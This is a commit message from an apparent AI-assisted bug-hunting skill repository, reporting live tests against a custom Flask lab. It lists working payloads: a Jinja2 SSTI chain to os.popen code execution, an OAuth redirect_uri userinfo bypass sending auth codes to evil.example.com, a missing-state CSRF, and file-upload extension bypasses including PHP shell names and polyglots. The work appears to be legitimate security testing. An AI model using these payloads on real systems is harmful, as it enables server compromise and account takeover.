mirror of
https://github.com/elementalsouls/Claude-BugHunter.git
synced 2026-11-24 20:30:23 +01:00
Three new skill areas exercised live against a custom Flask lab:
- hunt-ssti: Jinja2 {{ 7*7 }} → class-walker RCE via cycler.__init__.
__globals__.os.popen('id').read() landed on host (uid=501).
Plus {{ config }} dumps Flask SECRET_KEY.
- hunt-oauth: redirect_uri prefix-match validation broken 4 ways. Two
landed exploitably:
* Attack B (userinfo @-bypass): https://acme.example/@evil.example.com/
accepted server-side, browser sends auth code to evil.example.com
per RFC 3986 userinfo parsing — full ATO chain
* Attack D (missing state): server omits state from redirect,
confirming OAuth account-link CSRF
Attacks A and C accepted server-side but normalized by browser/Werkzeug.
- hunt-file-upload: 8 distinct bypass techniques against extension blocklist:
* Case sensitivity (shell.PHP)
* Double extension (shell.php.jpg)
* Alternative PHP extensions (.phar, .pht, .phps, .inc, .phtm)
* SVG XSS upload (served as image/svg+xml on same origin)
* JPEG-magic polyglot (.phar with PHP body)
Defense bypassed every way hunt-file-upload's payload library lists.
Combined Phase 2 verification now: 19+ skills exercised live or by source,
7 distinct skill-content gaps catalogued and closed.
Lab source at docs/verification/phase2f-lab/app.py (192 lines, shippable).
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>